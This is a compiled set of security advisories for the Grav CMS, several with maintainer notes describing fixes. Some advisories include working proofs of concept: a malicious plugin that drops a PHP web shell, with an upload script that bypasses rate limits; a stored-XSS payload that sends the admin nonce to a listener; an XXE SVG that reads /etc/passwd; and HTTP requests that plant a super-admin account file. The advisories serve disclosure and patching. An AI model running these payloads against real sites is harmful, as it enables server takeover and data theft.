Package Instance

Grav vulnerable to Denial of Service via Improper Input Handling in 'Supported' Parameter
A Denial of Service (DoS) vulnerability was identified in the **"Languages"** submenu of the Grav **admin configuration panel** (`/admin/config/system`). Specifically, the `Supported` parameter fails to properly validate user input. If a malformed value is inserted—such as a single forward slash (`/`) or an XSS test string—it causes a fatal regular expression parsing error on the server.

This leads to application-wide failure due to the use of the `preg_match()` function with an **improperly constructed regular expression**, resulting in the following error:

`preg_match(): Unknown modifier 'o' File: /system/src/Grav/Common/Language/Language.php line 244`

Once triggered, the site becomes completely unavailable to all users.

---

Grav Vulnerable to Remote Code Execution (RCE) via Malicious Plugin ZIP Upload in Direct Install Feature
### Summary
An authenticated user with administrative privileges can achieve Remote Code Execution (RCE) by uploading a specially crafted ZIP file through the "Direct Install" tool. While the system attempts to block direct .php file uploads, it fails to inspect the contents of uploaded ZIP archives. Once a malicious plugin is extracted, it can execute arbitrary PHP code or drop a persistent web shell on the server.

### Details

The vulnerability exists in the handling of the directInstall task within the Admin plugin and the Grav Package Manager (GPM) core.

-    Vulnerable Endpoints: /admin/tools/direct-install
-   Vulnerable Logic: AdminController.php (lines 1247-1295) and Gpm.php (lines 214-285).
-    Root Cause: The function Installer::install() (called in Gpm.php:291) extracts the contents of the ZIP file directly into the /user/

plugins/ or /user/themes/ directories without validating the file extensions or the content of the files inside the archive.

### PoC
1. Prepare the Malicious Plugin

Create a directory named shellplugin and add the following files:

shellplugin.php:
```

<?php
namespace Grav\Plugin;
use Grav\Common\Plugin;

class ShellpluginPlugin extends Plugin {
    public static function getSubscribedEvents(): array {
        return ['onPluginsInitialized' => ['onPluginsInitialized', 0]];
    }
    public function onPluginsInitialized(): void {
        $shell_path = GRAV_ROOT . '/shell.php';
        if (!file_exists($shell_path)) {
            file_put_contents($shell_path, '<?php system($_GET["cmd"]); ?>');
        }
    }
}

```
(Also include a basic blueprints.yaml and shellplugin.yaml as per Grav standards).

2. Create the ZIP Archive
```
`zip -r /tmp/shellplugin.zip shellplugin/`

3. Execute the Exploit Script
Run the following Python script to automate the login, nonce retrieval, and malicious upload process:

`import requests, re, json


s = requests.Session()
BASE_URL = 'http://127.0.0.1'
```

#### 1. Login and Bypass Rate Limit via X-Forwarded-For
```
r = s.get(f'{BASE_URL}/admin')
nonce = re.search(r'name="login-nonce" value="([^"]+)"', r.text).group(1)

r2 = s.post(f'{BASE_URL}/admin',
    headers={'X-Forwarded-For': '10.0.0.3'},
    data={'data[username]': 'admin', 'data[password]': 'admin_password_here', 'task': 'login', 'login-nonce': nonce},
    allow_redirects=False)

redirect = json.loads(r2.text)['redirect']
s.get(redirect)
print(f"[+] Logged in successfully.")

```
####  2. Extract Admin Nonce from Tools Page
```
tools = s.get(f'{BASE_URL}/admin/tools/direct-install')
admin_nonce = re.search(r'admin-nonce.*?value="([a-f0-9]{32})"', tools.text).group(1)
print(f"[+] Retrieved Admin Nonce: {admin_nonce}")
```

####  3. Upload and Execute
```
with open('/tmp/shellplugin.zip', 'rb') as f:
    zip_data = f.read()

resp = s.post(f'{BASE_URL}/admin/tools/direct-install',
    data={'task': 'directInstall', 'admin-nonce': admin_nonce},
    files={'uploaded_file': ('shellplugin.zip', zip_data, 'application/zip')},
    headers={'X-Forwarded-For': '10.0.0.3'}
)

if "installation" in resp.text.lower():
    print("[+] Plugin installed successfully!")
    # Trigger the shell
    s.get(BASE_URL) 
    print(f"[+] RCE Check: {BASE_URL}/shell.php?cmd=id")`
```
    
####  4. Verification
Access the dropped shell to confirm command execution:
`curl -s "http://127.0.0.1/shell.php?cmd=whoami"`

<img width="2547" height="756" alt="resim (2)" src="https://github.com/user-attachments/assets/6a8c25f1-9a9d-469f-ab68-3c7007e446d4" />

<img width="898" height="89" alt="resim (3)" src="https://github.com/user-attachments/assets/ec097785-1196-47a4-b24e-82fcbf0f7520" />


### Impact

- Vulnerability Type: Remote Code Execution (RCE) / Path Traversal (via extraction).
- Who is impacted: Any Grav installation where the Admin plugin is enabled and an attacker has gained administrative access (or an administrator is tricked into uploading a malicious ZIP).
- Severity: Critical. Although it requires admin privileges, the ability to gain full server control (system-level access) makes this a high-impact finding, especially in multi-user environments or via CSRF/Session hijacking.

## Maintainer note — partial fix applied (2026-04-24)

Fixed in Grav core on the `2.0` branch: commit [`5a12f9be8`](https://github.com/getgrav/grav/commit/5a12f9be8) — ships in **2.0.0-beta.2**.

**What changed (path layer):** `Installer::unZip` now pre-validates every entry name before calling `ZipArchive::extractTo`, and aborts the install if any entry looks like a Zip Slip primitive — `..` path segments, absolute paths (Unix `/…` or Windows `C:\…`/`\…`), or NUL bytes. A crafted ZIP can no longer write files outside the target `user/plugins/<slug>` or `user/themes/<slug>` directory.

**Explicit scope limitation:** the "well-formed but malicious plugin code" angle of the PoC — uploading a plugin whose own PHP is the payload — is **not** addressed by this change. `directInstall` is an administrator-only operation whose explicit purpose is to install arbitrary PHP; defending against it would require a plugin-signing or marketplace-allowlist feature, which is a separate roadmap item. Administrators should only install plugins from trusted sources. This is now explicitly documented in the commit note.

**Files:**
- [`system/src/Grav/Common/GPM/Installer.php`](https://github.com/getgrav/grav/blob/2.0/system/src/Grav/Common/GPM/Installer.php) — new `isSafeArchiveEntry()` helper + pre-extract validation loop.
- [`tests/unit/Grav/Common/Security/ZipSlipSecurityTest.php`](https://github.com/getgrav/grav/blob/2.0/tests/unit/Grav/Common/Security/ZipSlipSecurityTest.php) — 21 cases covering Unix/Windows/URL-encoded traversal primitives and legitimate plugin names.

---

### Acknowledgements
The issue was identified by Security Researcher **Mustafa Murat Akgül**.


---

Grav is Vulnerable to Stored XSS via Tag Injection
### Summary
A low-privileged (with the ability to create a page) user can cause XSS with the injection of `svg` element. The XSS can further be escalated to dump the entire system information available under `/admin/config/info` whenever a Super Admin visits the page; which can further be chained with the use of admin-nonce to do a complete server compromise (RCE).

### Details
Affected endpoint: `admin/pages/<page>`
Affected code: `system/src/Grav/Common/Security.php`

```php
    public static function detectXss($string, array $options = null): ?string
    {
        // Skip any null or non string values
        if (null === $string || !is_string($string) || empty($string)) {
            return null;
        }

        if (null === $options) {
            $options = static::getXssDefaults();
        }

        $enabled_rules = (array)($options['enabled_rules'] ?? null);
        $dangerous_tags = (array)($options['dangerous_tags'] ?? null);
        if (!$dangerous_tags) {
            $enabled_rules['dangerous_tags'] = false;
        }
        $invalid_protocols = (array)($options['invalid_protocols'] ?? null);
        if (!$invalid_protocols) {
            $enabled_rules['invalid_protocols'] = false;
        }
        $enabled_rules = array_filter($enabled_rules, static function ($val) { return !empty($val); });
        if (!$enabled_rules) {
            return null;
        }

        // Keep a copy of the original string before cleaning up
        $orig = $string;

        // URL decode
        $string = urldecode($string);

        // Convert Hexadecimals
        $string = (string)preg_replace_callback('!(&#|\\\)[xX]([0-9a-fA-F]+);?!u', static function ($m) {
            return chr(hexdec($m[2]));
        }, $string);

        // Clean up entities
        $string = preg_replace('!(&#[0-9]+);?!u', '$1;', $string);

        // Decode entities
        $string = html_entity_decode($string, ENT_NOQUOTES | ENT_HTML5, 'UTF-8');

        // Strip whitespace characters
        $string = preg_replace('!\s!u', ' ', $string);
        $stripped = preg_replace('!\s!u', '', $string);

        // Set the patterns we'll test against
        $patterns = [
            // Match any attribute starting with "on" or xmlns
            'on_events' => '#(<[^>]+[a-z\x00-\x20\"\'\/])(on[a-z]+|xmlns)\s*=[\s|\'\"].*[\s|\'\"]>#iUu',

            // Match javascript:, livescript:, vbscript:, mocha:, feed: and data: protocols
            'invalid_protocols' => '#(' . implode('|', array_map('preg_quote', $invalid_protocols, ['#'])) . ')(:|\&\#58)\S.*?#iUu',

            // Match -moz-bindings
            'moz_binding' => '#-moz-binding[a-z\x00-\x20]*:#u',

            // Match style attributes
            'html_inline_styles' => '#(<[^>]+[a-z\x00-\x20\"\'\/])(style=[^>]*(url\:|x\:expression).*)>?#iUu',

            // Match potentially dangerous tags
            'dangerous_tags' => '#</*(' . implode('|', array_map('preg_quote', $dangerous_tags, ['#'])) . ')[^>]*>?#ui'
        ];

        // Iterate over rules and return label if fail
        foreach ($patterns as $name => $regex) {
            if (!empty($enabled_rules[$name])) {
                if (preg_match($regex, $string) || preg_match($regex, $stripped) || preg_match($regex, $orig)) {
                    return $name;
                }
            }
        }

        return null;
    }
```

Specifically the line:

```php
'on_events' => '#(<[^>]+[a-z\x00-\x20\"\'\/])(on[a-z]+|xmlns)\s*=[\s|\'\"].*[\s|\'\"]>#iUu',
```

assumes that the on_events will always begin with either `whitespace, ', "` which can easily be bypassed with a simple payload like:

`<img src=x onload=alert('1')>`

This XSS Filter practice is broken.
1. Blacklisting every possible scenario that leads to XSS isn't possible.
2. Regex can't parse HTML.

It would be better to use an HTMLPurifier.
### PoC
Grav Core + Admin Plugin
Grav Version: `v1.7.49.5 - Admin v1.10.49.1`

1. Create a low-privileged user with only enough permission to login and perform CRUD on Pages.
![User Perms](https://imgur.com/VkhtE9L.png)

2. Login as the low-privileged user and browse to pages:
![Pages](https://imgur.com/4bmmozN.png)

3. Create a post with the following content:
```
<svg><foreignObject><img src=x onerror=eval(atob('KGFzeW5jKCk9PntsZXQgcj1hd2FpdCBmZXRjaCgnL2dyYXYtYWRtaW4vYWRtaW4vY29uZmlnL2luZm8nKTtsZXQgdD1hd2FpdCByLnRleHQoKTtuYXZpZ2F0b3Iuc2VuZEJlYWNvbignaHR0cDovLzEyNy4wLjAuMTo4MDAxL2dyYXYtbG9nJyx0KX0pKCk7'))></foreignObject></svg>
```

The payload base64 is decoded to: 

```javascript
(async()=>{let r=await fetch('/grav-admin/admin/config/info');let t=await r.text();navigator.sendBeacon('http://127.0.0.1:8001/grav-log',t)})();
```

whenever a user with enough privilege visits the attacker-controlled page, a request will be made to the `info` endpoint and the response will be sent to attacker beacon/listener.

4. Save
![Post Created](https://imgur.com/o33Erj2.png)

5. Start a `ncat` listener on port `8001`.

```bash
┌──(kali㉿kali)-[~]
└─$ ncat -lvnp 8001
Ncat: Version 7.95 ( https://nmap.org/ncat )
Ncat: Listening on [::]:8001
Ncat: Listening on [0.0.0.0:8001](http://0.0.0.0:8001/)
Ncat: Connection from [127.0.0.1:44658](http://127.0.0.1:44658/).
```

6. Now as a Super Admin visit the `/` of Grav `[http://localhost/grav-admin/`](http://localhost/grav-admin/) for me:
![Visiting Grav](https://imgur.com/kjt7uc9.png)

7. We get a response with the `admin-nonce` and the entire system information:

```
┌──(kali㉿kali)-[~]
└─$ ncat -lvnp 8001
Ncat: Version 7.95 ( https://nmap.org/ncat )
Ncat: Listening on [::]:8001
Ncat: Listening on [0.0.0.0:8001](http://0.0.0.0:8001/)
Ncat: Connection from [127.0.0.1:44658](http://127.0.0.1:44658/).
POST /grav-log HTTP/1.1
Host: [127.0.0.1:8001](http://127.0.0.1:8001/)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: text/plain;charset=UTF-8
Content-Length: 127013
Origin: http://localhost/
Connection: keep-alive
Referer: http://localhost/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
Priority: u=6

    <!DOCTYPE html>
    <html lang="en">
    <head>
            <meta charset="utf-8" />
        <title>Configuration: Info | Grav</title>
                    <meta name="description" content="">
                            <meta name="robots" content="noindex, nofollow">
                <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <link rel="icon" type="image/png" href="/grav-admin/user/plugins/admin/themes/grav/images/favicon.png">

                                   

       
        <script type="text/javascript">
    window.GravAdmin = window.GravAdmin || {};
    window.GravAdmin.config = {
        current_url: '/grav-admin/admin/config/info',
        base_url_relative: '/grav-admin/admin',
        base_url_simple: '/grav-admin',
        route: 'info',
        param_sep: ':',
                enable_auto_updates_check: '1',
                admin_timeout: '1800',
        admin_nonce: '1265db72d897b4324cbe7d1781e66e3b',
       
       
<SNIPPED>
```

### Impact

This is a **Stored Cross-Site Scripting (XSS)** vulnerability exploitable by a low-privileged user, which leads to **exfiltration of the admin session context**, including the **`admin_nonce`**. This nonce can be abused to **bypass CSRF protections** and **authenticate further requests** to sensitive admin endpoints. Given Grav’s support for **scheduled tasks** and extensible plugin architecture, this can be escalated to **Remote Code Execution (RCE)** under favorable conditions.

**Affected Component**: Grav Core + Admin Plugin (`v1.7.49.5` / `v1.10.49.1`)  
**Impact**: Full system compromise via RCE chain originating from low-privilege XSS.

`CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H`
`Overall CVSS Score: 9.0`
`High Impact`

---


---

## Maintainer note — fix applied (2026-04-24)

Fixed in Grav core on the `2.0` branch: commit [`5a12f9be8`](https://github.com/getgrav/grav/commit/5a12f9be8) — will ship in **2.0.0-beta.2**. Two changes in tandem:

1. **Regex bypass** (detection layer) — the `on_events` regex that missed unquoted handlers is tightened; see the companion GHSA-9695-8fr9-hw5q advisory for details.

2. **Missing dangerous tags** — `svg`, `math`, `option`, and `select` have been added to default `security.xss_dangerous_tags` in [`system/config/security.yaml`](https://github.com/getgrav/grav/blob/2.0/system/config/security.yaml). `svg` and `math` allow inline scripting through their XML namespace and event-handler surface; `option`/`select` are the tags attackers use to break out of the admin's select-template context before dropping the payload.

Combined with the tightened `on_events` regex, the PoC `<svg>…<script>…</script></svg>` (and the GHSA-c2q3 `</option></select><img src=x onerror=alert(1)>` variant) now trip at least one detector.

**Files:**
- [`system/config/security.yaml`](https://github.com/getgrav/grav/blob/2.0/system/config/security.yaml) — dangerous-tags list extended.
- [`system/src/Grav/Common/Security.php`](https://github.com/getgrav/grav/blob/2.0/system/src/Grav/Common/Security.php) — regex tightening.
- [`tests/unit/Grav/Common/Security/DetectXssTest.php`](https://github.com/getgrav/grav/blob/2.0/tests/unit/Grav/Common/Security/DetectXssTest.php).

Grav is Vulnerable to XXE via SVG Upload
Dear Grav Security Team,

A security vulnerability was discovered in Grav CMS that allows authenticated attackers to read arbitrary files from the server through XML External Entity (XXE) injection.

 Vulnerability Summary

| Field | Details |
|-------|---------|
| Vulnerability Type | XML External Entity (XXE) Injection |
| Severity | High (CVSS 7.5) |
| Affected Versions | Grav CMS <= 1.7.x |
| Affected Component | SVG file upload/processing |
| CWE | CWE-611: Improper Restriction of XML External Entity Reference |
| Authentication Required | Yes (Admin panel access) |

Technical Details

 Root Cause
The application uses `simplexml_load_string()` to process uploaded SVG files without disabling external entity loading. This allows attackers to inject XXE payloads that are processed by the XML parser.

 Vulnerable Code Pattern
```php
// Current (Vulnerable):
$svg = simplexml_load_string($content);

// No LIBXML_NOENT flag or entity loader protection
```

 Attack Vector
1. Attacker authenticates to Grav admin panel
2. Uploads malicious SVG file via Pages → Media or File Manager plugin
3. Server parses SVG and processes XXE entities
4. Arbitrary file contents are exfiltrated

 Impact

An authenticated attacker can:

1. Read sensitive files:
   - `/etc/passwd` - System user information
   - `user/accounts/*.yaml` - Admin credentials and 2FA secrets
   - `user/config/system.yaml` - System configuration
   - `.env` files - Environment secrets and API keys

2. Perform SSRF - Access internal services via external entity URLs

3. Potential DoS - Billion laughs attack via recursive entity expansion

Proof of Concept

 Malicious SVG Payload
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
  <text x="10" y="50">&xxe;</text>
</svg>
```

 Steps to Reproduce
1. Login to Grav CMS admin panel
2. Navigate to Pages → select any page → Media tab
3. Upload the malicious SVG file
4. Observe file contents in response/error or stored output

 Recommended Fix

 Option 1: Add XXE Protection Flags
```php
libxml_use_internal_errors(true);
$svg = simplexml_load_string($content, 'SimpleXMLElement', LIBXML_NOENT | LIBXML_DTDLOAD);
```

 Option 2: Use SVG Sanitizer Library (Recommended)
```php
use enshrined\svgSanitize\Sanitizer;

$sanitizer = new Sanitizer();
$sanitizer->removeRemoteReferences(true);
$cleanSVG = $sanitizer->sanitize($content);
```

The `enshrined/svg-sanitize` library properly strips XXE payloads and other malicious SVG content.

 Request

1. Please acknowledge receipt of this report within 5 business days
2. Please provide an estimated timeline for a security patch
3. I am happy to assist with testing the fix
4. I request a CVE be assigned for this vulnerability
5. If you have a security advisory process, please include me in the credits

Turki Almatrafi.



---

## Maintainer note — fix applied (2026-04-24)

Fixed across two repos:

1. **Grav core on the `2.0` branch** (commit [`5a12f9be8`](https://github.com/getgrav/grav/commit/5a12f9be8), ships in **2.0.0-beta.2**) — `VectorImageMedium::__construct` (the code path that reads width/height from an uploaded SVG) now strips `<!DOCTYPE>` and `<!ENTITY>` declarations before parsing, and calls `simplexml_load_string` with `LIBXML_NONET | LIBXML_NOERROR | LIBXML_NOWARNING`. On PHP < 8 it also calls `libxml_disable_entity_loader(true)` for the duration of the parse.

2. **rhukster/dom-sanitizer** (commit [`02d08ec`](https://github.com/rhukster/dom-sanitizer/commit/02d08ec)) — the library Grav ships as its SVG sanitizer. `loadDocument` now applies the same DOCTYPE/ENTITY strip and passes `LIBXML_NONET` to `loadXML`/`loadHTML`.

With both layers in place, the PoC:

```xml
<!DOCTYPE svg [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
  <text x="10" y="50">&xxe;</text>
</svg>
```

no longer expands `&xxe;`, and the parser cannot make outbound filesystem or network requests for external entities/DTDs. Billion-laughs-style entity expansion is also neutralized because the declarations are stripped before libxml ever sees them.

**Files:**
- [`system/src/Grav/Common/Page/Medium/VectorImageMedium.php`](https://github.com/getgrav/grav/blob/2.0/system/src/Grav/Common/Page/Medium/VectorImageMedium.php).
- [`tests/unit/Grav/Common/Security/SvgXxeSecurityTest.php`](https://github.com/getgrav/grav/blob/2.0/tests/unit/Grav/Common/Security/SvgXxeSecurityTest.php) — XXE neutralization + billion-laughs + plain-SVG regression.
- dom-sanitizer: [`src/DOMSanitizer.php`](https://github.com/rhukster/dom-sanitizer/blob/main/src/DOMSanitizer.php) + two new XXE tests in its own suite.

Grav is vulnerable to Server-Side Template Injection (SSTI) via Forms
Having a simple form on site can reveal the whole Grav configuration details (including plugin configuration details) by using the correct POST payload. Sensitive information may be contained in the configuration details.

Grav CMS is vulnerable to Cross Site Scripting (XSS) in the page editor
Grav CMS 1.7.49 is vulnerable to Cross Site Scripting (XSS). The page editor allows authenticated users to edit page content via a Markdown editor. The editor fails to properly sanitize <script> tags, allowing stored XSS payloads to execute when pages are viewed in the admin interface.

Grav vulnerable to Path Traversal allowing server files backup
```
A path traversal vulnerability has been identified in Grav CMS, versions 1.7.49.5 , allowing authenticated attackers
with administrative privileges to read arbitrary files on the underlying server filesystem. This vulnerability arises due
to insufficient input sanitization in the backup tool, where user-supplied paths are not properly restricted, enabling
access to files outside the intended webroot directory. The impact of this vulnerability depends on the privileges of
the user account running the application.
```

Low-privileged Grav API users can create super-admin accounts via blueprint-upload
## Summary

In Grav `2.0.0-beta.2`, a low-privileged authenticated API user with `api.media.write` can abuse `/api/v1/blueprint-upload` to write an arbitrary YAML file into `user/accounts/`, then log in as the newly created account with `api.super` privileges.

This results in full administrative compromise of the Grav API.

## Details

The vulnerability is located in the API plugin's blueprint upload flow:

- `user/plugins/api/classes/Api/ApiRouter.php:261`
- `user/plugins/api/classes/Api/Controllers/BlueprintUploadController.php:32-45`
- `user/plugins/api/classes/Api/Controllers/BlueprintUploadController.php:102-114`
- `user/plugins/api/classes/Api/Controllers/BlueprintUploadController.php:271-308`
- `user/plugins/api/classes/Api/Controllers/BlueprintUploadController.php:407-417`
- `user/plugins/api/classes/Api/Controllers/AuthController.php:41-55`

The issue exists because `/api/v1/blueprint-upload` accepts caller-controlled `destination` and `scope` values and uses them to resolve the final filesystem write target.

When the request uses:

- `destination=self@:`
- `scope=users/anything`

The server resolves the write target to the shared account directory:

```text
user/accounts/
```

The upload handler then writes the supplied file directly into that directory and does not block YAML account files. Because Grav accepts account YAML files and supports a plaintext `password:` field on first login, an attacker can create a fully functional administrator account with `api.super`.

The required attacker privilege is low:

```yaml
access:
  api:
    access: true
    media:
      write: true
```

## PoC

### Step 1: Authenticate as the low-privileged API user

```http
POST /api/v1/auth/token HTTP/1.1
Host: 127.0.0.1:8123
Content-Type: application/json
Connection: close

{"username":"uploader","password":"Upload123A"}
```

Extract:

```text
UPLOADER_TOKEN = <access_token from response>
```

Attachment:

<img width="1480" height="825" alt="login-uploader" src="https://github.com/user-attachments/assets/5aeda840-4a37-4365-8e46-caec88066541" />

### Step 2: Upload a malicious account YAML file

```http
POST /api/v1/blueprint-upload HTTP/1.1
Host: 127.0.0.1:8123
X-API-Token: <UPLOADER_TOKEN>
Content-Type: multipart/form-data; boundary=----CodexBoundaryF01
Connection: close

------CodexBoundaryF01
Content-Disposition: form-data; name="destination"

self@:
------CodexBoundaryF01
Content-Disposition: form-data; name="scope"

users/anything
------CodexBoundaryF01
Content-Disposition: form-data; name="file"; filename="pwned.yaml"
Content-Type: text/yaml

email: attacker@example.com
fullname: attacker
title: Site Administrator
state: enabled
password: Passw0rd!123
access:
  site:
    login: true
  api:
    super: true
------CodexBoundaryF01--
```

Expected result:

```json
{
  "data": [
    {
      "name": "pwned.yaml",
      "path": "user/accounts/pwned.yaml"
    }
  ]
}
```

Attachment:

<img width="1484" height="797" alt="upload" src="https://github.com/user-attachments/assets/0b24c03f-cac5-4b4d-840c-52ac0840969f" />

### Step 3: Log in as the newly created account

```http
POST /api/v1/auth/token HTTP/1.1
Host: 127.0.0.1:8123
Content-Type: application/json
Connection: close

{"username":"pwned","password":"Passw0rd!123"}
```

Expected result:

```json
{
  "data": {
    "user": {
      "username": "pwned",
      "super_admin": true
    }
  }
}
```

Attachment:

<img width="1494" height="830" alt="pwned-login" src="https://github.com/user-attachments/assets/7a1ab7fc-d3fb-4077-9b61-09cd947241fe" />

### Step 4: Verify privileged API access

```http
GET /api/v1/system/info HTTP/1.1
Host: 127.0.0.1:8123
X-API-Token: <PWNED_TOKEN>
Connection: close
```

Expected result:

The request succeeds and returns system-level information.

Attachment:

<img width="1480" height="831" alt="system-info" src="https://github.com/user-attachments/assets/31677d61-3dbd-4ea6-9fbe-80799a628cc2" />

## Impact

This is an authenticated vertical privilege-escalation vulnerability.

Any API user with basic media upload capability can escalate directly to a full API super administrator by planting a new account YAML file. Once `api.super` access is obtained, the attacker gains full control over the CMS management API and can:

- modify content
- alter configuration
- manage users
- install or update plugins/themes
- access system-level administration features

In a real deployment, this level of control is sufficient for complete CMS compromise and may be chained into server-side code execution depending on enabled plugins, writable template paths, or package-management workflow.

This issue was reproduced locally:

- the upload response returned `user/accounts/pwned.yaml`
- logging in as `pwned` succeeded
- the new account had `super_admin = true`
- privileged endpoints such as `/api/v1/system/info` were accessible

Grav is vulnerable to Arbitrary File Read
- A low privilege user account with page editing privilege can read any server files using "Frontmatter" form.
- This includes Grav user account files - /grav/user/accounts/*.yaml. This file stores hashed user password, 2FA secret, and the password reset token.
- This can allow an adversary to compromise any registered account by resetting a password for a user to get access to the password reset token from the file or by cracking the hashed password.

Grav vulnerable to Cross-Site Scripting (XSS) Stored endpoint `/admin/pages/[page]` in Multiples parameters
A Stored Cross-Site Scripting (XSS) vulnerability was identified in the `/admin/pages/[page]` endpoint of the _Grav_ application. This vulnerability allows attackers to inject malicious scripts into the `data[header][metadata]`, `data[header][taxonomy][category]`, and `data[header][taxonomy][tag]` parameters. These scripts are stored in the page frontmatter and executed automatically whenever the affected page is accessed or rendered in the administrative interface.

---

Grav Vulnerable to Administrative Account Disruption and Privilege De-escalation via User Overwrite Logic
### Summary
A business logic vulnerability in the Grav Admin Panel allows a low-privileged user (with only user creation permissions) to overwrite existing accounts, including the primary administrator. By creating a new user with a username that already exists, the system updates the existing account's metadata and permissions instead of rejecting the request. This leads to a Denial of Service (DoS) on administrative functions and Privilege De-escalation of the root account.

### Details
The vulnerability stems from an insecure "Create or Update" logic within the user management module. When the admin-addon handles a user creation request, it does not strictly validate whether the username is already taken by a higher-privileged account. Instead of returning a "409 Conflict" or a validation error, the application logic proceeds to overwrite the existing user configuration file (e.g., user/accounts/root0.yaml) with the new, lower-privileged data provided by the attacker.
Because the attacker cannot assign higher permissions to themselves (due to existing fixes), the result is that the targeted account (the original Admin/Root) has its access levels wiped or replaced by the attacker's input, effectively locking the real administrator out of the system.

### PoC
1. Log in as a Super User (e.g., root0) and create a low-privileged user (e.g., adminuser).
2. Assign adminuser the following specific permissions:
admin.login
admin.users.list
admin.users.read
admin.users.create
3. Log out and log back in as adminuser.
4. Navigate to User Accounts -> Add.
5. Fill in the form with the following details:
Username: root0 (The exact username of the Super User)
Email: `anything@grav.f`
Fullname: Fake Root0
7. Click Save.
8. Observe that the account is successfully "created".
9. The original administrative permissions are gone, and the account is now restricted.

#### PoC video
https://github.com/user-attachments/assets/047cb44e-0279-402b-b4fb-12bf5d427a5e

### Impact
This is a Privilege De-escalation and Account Disruption vulnerability.
Who is impacted: Any Grav installation where a non-admin user is granted permission to create other users.
Consequence: An attacker can effectively disable all administrative accounts on the platform, leading to a complete loss of management control over the CMS.


---

## Maintainer note — fix applied (2026-04-24)

Fixed in Grav core on the `2.0` branch: commit [`d904efc33`](https://github.com/getgrav/grav/commit/d904efc33) — will ship in **2.0.0-beta.2**.

**What changed:** `UserObject::save` already had a uniqueness guard (commit [`19c2f8da7`](https://github.com/getgrav/grav/commit/19c2f8da7), November 2025) that blocks the PoC. This release tightens that guard:

1. `strpos($key, '@@')` → `str_contains($key, '@@')`. The previous form was falsy when the transient-key marker was at position 0 (e.g. `@@hash`), silently bypassing the check. `str_contains` returns a proper boolean.
2. The `instanceof FileStorage` gate was dropped so the uniqueness check runs for any `FlexStorageInterface` backend — not just the default file-per-user YAML one.

A low-privileged user with `admin.users.create` can no longer disrupt a super-admin account by submitting that admin's username through the "add user" form.

**Files:**
- [`system/src/Grav/Common/Flex/Types/Users/UserObject.php`](https://github.com/getgrav/grav/blob/2.0/system/src/Grav/Common/Flex/Types/Users/UserObject.php).
- [`tests/unit/Grav/Common/Security/UserOverwriteSecurityTest.php`](https://github.com/getgrav/grav/blob/2.0/tests/unit/Grav/Common/Security/UserOverwriteSecurityTest.php) — 3 tests pinning the PoC, the `@@`-prefix edge case, and pass-through for free usernames.

Grav Exposes Password Hashes Leading to privilege escalation
# Exposure of Password Hashes Leading to privilege escalation
**Severity Rating:** Medium 

**Vector:** Privilege Escalation

**CVE:** XXX

**CWE:** 200 - Exposure of Sensitive Information

**CVSS Score:** 6.2

**CVSS Vector:** CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:L

## Analysis

It was observed that if a users is given read access on the user account management section of the admin panel can view the password hashes of all users, including the admin user. This exposure can potentially lead to privilege escalation if an attacker can crack these password hashes.

An attacker with read access can: 
* View and potentially crack the password hashes.
* Gain administrative access by cracking the admin password hash.
* Escalate privileges and compromise the entire admin panel.


## Proof of Concept

1) Give read access to user accounts to a random user as shown in the following figures:
  ![grav0](https://github.com/user-attachments/assets/020a4b47-e577-49cb-8392-bfb61491199d)
  ![grav2](https://github.com/user-attachments/assets/97fbfc46-c541-4559-9541-2b9b5de86c0e)
  

2) Log in to the admin panel with an account that has read access to user accounts and navigate to the user account management section.

3) Go to the admin profile `http://127.0.0.1/admin/accounts/users/admin`; The password is not display. Try inspecting the page source code as shown in the following figures:
  ![grav2-1](https://github.com/user-attachments/assets/057c9c14-f928-4584-99ae-4939f63dda57)
  
   You can see that it match the hash that is in the admin.yaml file :
  ![Compare to the hash in database of the admin](grav2-2.png)
  

4) Crack the hash as shown in the following figure, the algorithm use here is bcrypt:
  
![grav3](https://github.com/user-attachments/assets/ec334f80-4b87-4010-a834-cb92704a596e)
  

## Workarounds
No workaround is currently known

# Timeline
**2024-07-24** Issue identified

**2024-09-27** Vendor contacted


# About X41 D-Sec GmbH
X41 is an expert provider for application security services.
Having extensive industry experience and expertise in the area of information
security, a strong core security team of world class security experts enables
X41 to perform premium security services.

Fields of expertise in the area of application security are security centered
code reviews, binary reverse engineering and vulnerability discovery.
Custom research and IT security consulting and support services are core
competencies of X41.

Grav vulnerable to Privilege Escalation and Authenticated Remote Code Execution via Twig Injection
A user with admin panel access and permissions to create or edit pages in Grav CMS can enable Twig processing in the page frontmatter. By injecting malicious Twig expressions, the user can escalate their privileges to admin or execute arbitrary system commands via the scheduler API. This results in both Privilege Escalation (PE) and Remote Code Execution (RCE) vulnerabilities.

Grav Vulnerable to Publisher-Level Stored XSS via Unquoted Event Attributes
### Summary
A stored Cross-Site Scripting (XSS) vulnerability in `getgrav/grav` allows publisher-level accounts to execute arbitrary JavaScript. The issue arises from a blacklist bypass in the `detectXss()` function when handling unquoted HTML event attributes.

### Details
The `detectXss()` function relies on a blacklist pattern to filter malicious attributes. The specific regex pattern used to match `on*` events is flawed:
```php
'on_events' => '#(<[^>]+[a-z\x00-\x20\"\'\/])(on[a-z]+|xmlns)\s*=[\s|\'\"].*[\s|\'\"]>#iUu'
```
This pattern fails to properly identify `on*` event handlers that are constructed without quotation marks. This allows an attacker to completely bypass the filter. *Note: It is highly recommended to replace this blacklist approach with a robust, established HTML sanitization library.*

### PoC
An attacker with publisher-level access can reproduce this by injecting the following payload into any vulnerable content field:
```html
<img src=x onerror=eval(atob(/YWxlcnQoZG9jdW1lbnQuY29va2llKQ/.source))>
```
<img width="1889" height="482" alt="image1" src="https://github.com/user-attachments/assets/0f1a339b-25a8-4b6e-91af-8c59e6a39297" />
<img width="3055" height="920" alt="image2" src="https://github.com/user-attachments/assets/12680058-bbb3-4446-b58e-515533bb4e90" />
